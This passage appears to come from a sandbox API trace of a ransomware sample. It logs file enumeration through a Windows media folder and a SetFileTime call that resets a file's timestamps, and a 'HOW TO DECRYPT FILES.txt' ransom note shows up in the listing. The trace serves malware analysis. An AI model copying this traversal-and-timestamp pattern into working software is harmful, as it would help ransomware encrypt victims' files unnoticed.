cFileName="WTVConverter.exe.mui", cAlternateFileName="")) returned 0 [0127.296] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.296] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0127.296] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.296] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b4ea8b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x86b4ea8b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x5ea807f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x18fa5c, dwReserved1=0x4f0048, cFileName="ItvRes.dll", cAlternateFileName="")) returned 1 [0127.296] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eeb56a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e05e280, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x721b1dc5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="loadmxf.exe", cAlternateFileName="")) returned 1 [0127.297] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3134362, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd3134362, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfde5a73f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="luttx43.ttf", cAlternateFileName="")) returned 1 [0127.297] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd318061c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd318061c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfde5a73f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="luttx83.ttf", cAlternateFileName="")) returned 1 [0127.297] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.298] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3218b90, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd3218b90, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfdef2cb7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x422fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunmc.ttf", cAlternateFileName="")) returned 1 [0127.298] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.298] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2ffa80a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2ffa80a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="markup.dll", cAlternateFileName="")) returned 1 [0127.299] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.299] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33fed32, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa33fed32, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33fed32, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcepg.dll", cAlternateFileName="")) returned 1 [0127.299] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.299] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee304ab6, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xee304ab6, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x353189e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x478ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcetuningoverrides.xml", cAlternateFileName="")) returned 1 [0127.306] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.307] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d1667c, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x72d1667c, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe6903f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcGlidHost.exe", cAlternateFileName="")) returned 1 [0127.307] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.307] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d2c280, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e9e7900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x14b449e5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcglidhostobj.dll", cAlternateFileName="")) returned 1 [0127.307] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.307] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f3d83d4, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x7f3d83d4, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x308ef750, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="McITvVmData.dll", cAlternateFileName="")) returned 1 [0127.307] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.308] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3424e92, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3424e92, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa344aff2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xeae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcplayer.dll", cAlternateFileName="")) returned 1 [0127.308] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.311] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2ffa80a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2ffa80a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcplayerinterop.dll", cAlternateFileName="")) returned 1 [0127.311] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.311] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76741b87, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x76741b87, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x30b2abf0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="McrMgr.dll", cAlternateFileName="")) returned 1 [0127.311] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.312] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33304b6f, ftCreationTime.dwHighDateTime=0x1ca041f, ftLastAccessTime.dwLowDateTime=0x33304b6f, ftLastAccessTime.dwHighDateTime=0x1ca041f, ftLastWriteTime.dwLowDateTime=0xecde2b70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="McrMgr.exe", cAlternateFileName="")) returned 1 [0127.312] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.312] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181973fb, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x181973fb, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x181973fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcskin.wmz", cAlternateFileName="")) returned 1 [0127.312] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.312] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ae9ecb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x89ae9ecb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe6a5c330, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcspad.exe", cAlternateFileName="")) returned 1 [0127.312] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefae1cd1, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xefae1cd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xefae1cd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcsrchPH.propdesc", cAlternateFileName="")) returned 1 [0127.313] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ce22f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa32ce22f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa32ce22f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcstore.dll", cAlternateFileName="")) returned 1 [0127.313] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3235cae, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3235cae, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3235cae, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcstoredb.dll", cAlternateFileName="")) returned 1 [0127.313] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.314] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33fed32, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa33fed32, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3424e92, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcupdate.exe", cAlternateFileName="")) returned 1 [0127.314] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.315] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCX", cAlternateFileName="")) returned 1 [0127.315] lstrcmpA (lpString1=".", lpString2="MCX") returned -1 [0127.315] lstrcmpA (lpString1="..", lpString2="MCX") returned -1 [0127.315] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\MCX\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.315] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.315] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.316] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.316] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.316] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="X02", cAlternateFileName="")) returned 1 [0127.316] lstrcmpA (lpString1=".", lpString2="X02") returned -1 [0127.316] lstrcmpA (lpString1="..", lpString2="X02") returned -1 [0127.316] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\MCX\\X02\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0127.316] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.316] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.316] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.317] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.317] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8aec2cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8aec2cd0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x699000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="XboxMCX-V.XEX", cAlternateFileName="XBOXMC~1.XEX")) returned 1 [0127.317] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.319] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.319] CloseHandle (hObject=0x8c) returned 1 [0127.320] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8aec2cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8aec2cd0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x699000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="XboxMCX-V.XEX", cAlternateFileName="XBOXMC~1.XEX")) returned 0 [0127.320] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.320] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="X02", cAlternateFileName="")) returned 0 [0127.320] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0127.320] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3471152, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3471152, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3471152, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x43004d, dwReserved1=0x58, cFileName="Mcx2Dvcs.dll", cAlternateFileName="")) returned 1 [0127.320] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.321] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f883e9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f883e9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2fd46aa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcx2Filter.dll", cAlternateFileName="")) returned 1 [0127.321] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.321] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84512c2e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x84512c2e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe6b8d600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x30400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcx2Prov.exe", cAlternateFileName="")) returned 1 [0127.321] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.321] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d89ea59, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x7d89ea59, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x30f07840, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="McxDataPath.dll", cAlternateFileName="")) returned 1 [0127.321] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.322] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e1b1d82, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x7e1b1d82, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe6bfdae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="McxTask.exe", cAlternateFileName="")) returned 1 [0127.322] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.322] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, 